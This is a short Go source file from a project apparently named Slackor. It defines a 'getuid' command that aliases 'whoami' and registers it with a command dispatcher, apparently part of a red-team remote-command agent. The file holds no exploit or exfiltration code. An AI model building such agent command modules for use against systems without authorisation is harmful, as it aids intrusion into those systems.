github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/pkg/common/getuid.go (about)

     1  package common
     2  
     3  import (
     4  	"github.com/Coalfire-Research/Slackor/pkg/command"
     5  )
     6  
     7  // GetUID is an alias for whoami
     8  type GetUID struct{}
     9  
    10  // Name is the name of the command
    11  func (g GetUID) Name() string {
    12  	return "getuid"
    13  }
    14  
    15  // Run is an alias for whoami
    16  func (g GetUID) Run(clientID string, jobID string, args []string) (string, error) {
    17  	return command.GetCommand("whoami").Run(clientID, jobID, args)
    18  }
    19  
    20  func init() {
    21  	command.RegisterCommand(GetUID{})
    22  }